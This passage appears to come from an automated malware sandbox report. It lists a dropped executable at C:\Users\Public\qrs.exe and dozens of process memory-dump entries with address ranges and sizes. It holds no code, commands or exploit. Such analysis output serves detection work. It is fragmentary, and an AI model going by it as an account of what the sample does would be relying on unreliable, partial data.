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\Users\Public\qrs.exe

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memory/332-22-0x0000000000000000-mapping.dmp

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memory/332-118-0x0000000001E80000-0x0000000001E81000-memory.dmp

Filesize
4KB

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memory/332-144-0x00000000066B0000-0x00000000066B1000-memory.dmp

Filesize
4KB

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memory/332-143-0x00000000066A0000-0x00000000066A1000-memory.dmp

Filesize
4KB

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memory/332-121-0x0000000006750000-0x0000000006751000-memory.dmp

Filesize
4KB

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memory/332-41-0x0000000005500000-0x0000000005501000-memory.dmp

Filesize
4KB

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memory/332-28-0x0000000071620000-0x0000000071D0E000-memory.dmp

Filesize
6.9MB

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memory/332-38-0x0000000002870000-0x0000000002871000-memory.dmp

Filesize
4KB

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memory/560-26-0x0000000000000000-mapping.dmp

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memory/564-29-0x0000000071620000-0x0000000071D0E000-memory.dmp

Filesize
6.9MB

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memory/564-24-0x0000000000000000-mapping.dmp

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memory/1072-83-0x0000000000000000-mapping.dmp

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memory/1088-88-0x0000000000000000-mapping.dmp

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memory/1156-18-0x0000000000000000-mapping.dmp

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memory/1272-19-0x0000000000000000-mapping.dmp

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memory/1300-10-0x0000000000000000-mapping.dmp

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memory/1364-16-0x0000000000000000-mapping.dmp

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memory/1448-77-0x0000000000000000-mapping.dmp

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memory/1560-102-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

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memory/1560-99-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

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memory/1560-100-0x000000000041A684-mapping.dmp

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memory/1628-46-0x00000000057A0000-0x00000000057A1000-memory.dmp

Filesize
4KB

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memory/1628-52-0x0000000006280000-0x0000000006281000-memory.dmp

Filesize
4KB

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memory/1628-59-0x0000000006350000-0x0000000006351000-memory.dmp

Filesize
4KB

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memory/1628-12-0x0000000000000000-mapping.dmp

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memory/1628-30-0x0000000002050000-0x0000000002051000-memory.dmp

Filesize
4KB

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memory/1628-51-0x0000000005830000-0x0000000005831000-memory.dmp

Filesize
4KB

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memory/1628-34-0x0000000004AE0000-0x0000000004AE1000-memory.dmp

Filesize
4KB

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memory/1628-21-0x0000000071620000-0x0000000071D0E000-memory.dmp

Filesize
6.9MB

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memory/1628-65-0x0000000006410000-0x0000000006411000-memory.dmp

Filesize
4KB

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memory/1656-104-0x00000000064F0000-0x00000000064F1000-memory.dmp

Filesize
4KB

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memory/1656-20-0x0000000071620000-0x0000000071D0E000-memory.dmp

Filesize
6.9MB

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memory/1656-13-0x0000000000000000-mapping.dmp

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memory/1656-152-0x00000000066F0000-0x00000000066F1000-memory.dmp

Filesize
4KB

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memory/1656-153-0x0000000006700000-0x0000000006701000-memory.dmp

Filesize
4KB

Download
memory/1712-115-0x000007FEF7CD0000-0x000007FEF7F4A000-memory.dmp

Filesize
2.5MB

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memory/1852-11-0x0000000000000000-mapping.dmp

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memory/1880-0-0x0000000000000000-mapping.dmp

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memory/1896-5-0x0000000000000000-mapping.dmp

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memory/1896-4-0x0000000000000000-mapping.dmp

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memory/1952-8-0x0000000000000000-mapping.dmp

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memory/2032-93-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

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memory/2032-94-0x000000000043FCC3-mapping.dmp

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memory/2032-98-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

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memory/2060-113-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

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memory/2060-111-0x0000000000417A8B-mapping.dmp

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memory/2060-108-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

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